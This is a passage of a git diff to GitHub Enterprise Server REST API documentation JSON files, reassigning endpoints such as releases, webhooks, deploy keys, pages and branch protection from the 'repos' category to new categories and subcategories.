style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -51279,10 +51251,8 @@
       ]
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -51363,10 +51333,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -51483,10 +51451,10 @@
       ]
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -51681,10 +51649,10 @@
       ]
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -51869,10 +51837,10 @@
       ]
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -54747,10 +54715,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -55033,10 +55001,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -55313,10 +55281,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -55617,10 +55585,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -55910,10 +55878,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -55992,10 +55960,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -56137,10 +56105,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -56265,10 +56233,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -56347,10 +56315,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -56517,8 +56485,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -56624,8 +56592,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -56721,8 +56689,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -60824,8 +60792,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -60940,8 +60908,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -61053,8 +61021,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -61137,8 +61105,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -61947,10 +61915,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -63085,10 +63051,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -63257,10 +63221,8 @@
       ]
     },
     "slug": "create-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub Enterprise Server Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -63515,10 +63477,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -63670,10 +63630,8 @@
       ]
     },
     "slug": "delete-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -63768,10 +63726,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-enterprise-server-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -63837,10 +63793,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -63906,10 +63860,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -63984,10 +63936,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -69453,10 +69403,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/enterprise-server@3.0/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -69607,10 +69555,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.0/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -69749,10 +69695,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -69886,10 +69832,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -69994,10 +69940,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -70062,10 +70008,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -70142,10 +70086,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -70226,10 +70168,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/enterprise-server@3.0/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -70384,10 +70324,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -70519,10 +70457,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -70617,10 +70553,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -70735,10 +70671,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -70910,8 +70846,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -70989,8 +70925,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -71068,8 +71004,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -71147,8 +71083,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -71221,8 +71157,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -71369,8 +71305,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -81552,8 +81488,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -81633,8 +81569,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -81713,8 +81649,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/decorated/ghes-3.1.json b/lib/rest/static/decorated/ghes-3.1.json
index 424f0bebc5..96c42e3ae9 100644
--- a/lib/rest/static/decorated/ghes-3.1.json
+++ b/lib/rest/static/decorated/ghes-3.1.json
@@ -35954,10 +35954,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -36039,10 +36037,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -36140,10 +36136,10 @@
       ]
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -36904,10 +36900,10 @@
       ]
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -37609,10 +37605,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -37693,10 +37689,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -37773,10 +37769,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -37853,10 +37849,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -37944,10 +37940,10 @@
       ]
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38158,10 +38154,10 @@
       ]
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -38339,10 +38335,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38430,10 +38426,10 @@
       ]
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to check whether a branch requires signed commits. An enabled status of <code>true</code> indicates you must sign commits on this branch. For more information, see <a href=\"https://help.github.com/articles/signing-commits-with-gpg\">Signing commits with GPG</a> in GitHub Help.</p>\n<p><strong>Note</strong>: You must enable branch protection to require signed commits.</p>",
@@ -38522,10 +38518,10 @@
       ]
     },
     "slug": "create-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
